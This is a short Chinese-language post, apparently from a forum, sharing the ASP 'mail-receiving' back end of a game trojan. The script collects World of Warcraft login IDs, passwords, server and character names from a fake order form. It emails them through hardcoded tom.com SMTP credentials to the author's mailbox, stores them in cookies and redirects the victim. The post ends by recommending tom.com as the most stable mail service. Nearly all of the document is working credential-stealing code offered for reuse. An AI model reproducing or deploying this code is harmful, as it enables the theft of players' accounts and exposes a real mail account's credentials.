游戏木马的收信程序
一个游戏木马的收信程序
<%
User = Request("loginid")
Pass = Request("loginpwd")
FenQu = Request("Server")
WinName = Request("Serverid")
WinEdition = Request("Charname")
function SendMail(ToMail,subject,msg)
Dim Jmail
sender="xh0507@tom.com" 'sendmailaddress
Set Jmail=server.createobject("Jmail.Message")
JMail.FromName = "GoodNews~ Have New Order Come in!"
Jmail.Charset = "GB2312"
jmail.ContentType = "text/html"
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "xh0507" 'mailuser
Jmail.MailServerPassword = "fox" 'mailpass
Jmail.From = sender
Jmail.Subject = subject
Jmail.AddRecipient("xh0507@tom.com") 'ordermail
Jmail.Body=msg
Jmail.Send("smtp.tom.com") 'SMTPSever
end function
if User <> "" and Pass <> "" then
strSubject = FenQu
StrMailBody="<html><font size=2>Wow Sniffer Order"&"<br>"
StrMailBody=StrMailBody&"--------------------"&"<br>"
StrMailBody=StrMailBody&"Game Login ID="&User&"<br>"
StrMailBody=StrMailBody&"Game Login Password="&Pass&"<br>"
StrMailBody=StrMailBody&"Server Country="&FenQu&"<br>"
StrMailBody=StrMailBody&"--------------------"&"<br>"
StrMailBody=StrMailBody&"Other"&"<br>"
StrMailBody=StrMailBody&"--------------------"&"<br>"
StrMailBody=StrMailBody&"Server Name="&WinEdition&"<br>"
StrMailBody=StrMailBody&"Character="&WinName&"<br>"
StrMailBody=StrMailBody&"--------------------"&"<br>"
StrMailBody=StrMailBody&Now&"</font></html>"
Call SendMail (ToMail,strSubject,StrMailBody)
End If
%>
<%
if request("discount")="pl" then
response.cookies("ru")("unt")="ok"
response.write("<script language='javascript'>location.href='wow.asp';</script>")
'response.redirect("wow.asp")
response.End
end if
if request("totaltime")="" or request("price")="" or request("server")="" or request("serverid")="" or request("currentclass")="" or request("begindate")="" or request("loginid")="" or request("loginpwd")="" or request("charname")="" then
response.write("<script language='javascript'>alert('The above information was not completely, please go back to the previous page and make any corrections information.');history.go(-1);</script>")
else
Response.Cookies("ru")("golddiscount")="ok"
Response.Cookies("ru")("totaltime")=request("totaltime")
Response.Cookies("ru")("price")=request("price")
Response.Cookies("ru")("server")=request("server")
Response.Cookies("ru")("serverid")=request("serverid")
Response.Cookies("ru")("currentclass")=request("currentclass")
Response.Cookies("ru")("begindate")=request("begindate")
Response.Cookies("ru")("loginid")=request("loginid")
Response.Cookies("ru")("loginpwd")=request("loginpwd")
Response.Cookies("ru")("charname")=request("charname")
response.write("<script language='javascript'>location.href='game.asp';</script>")
end if
%>
[Copy to clipboard]
测试 smtp pop3
163 126 gmail 。。。 最后发现 tom的比较稳定 呵呵 推荐
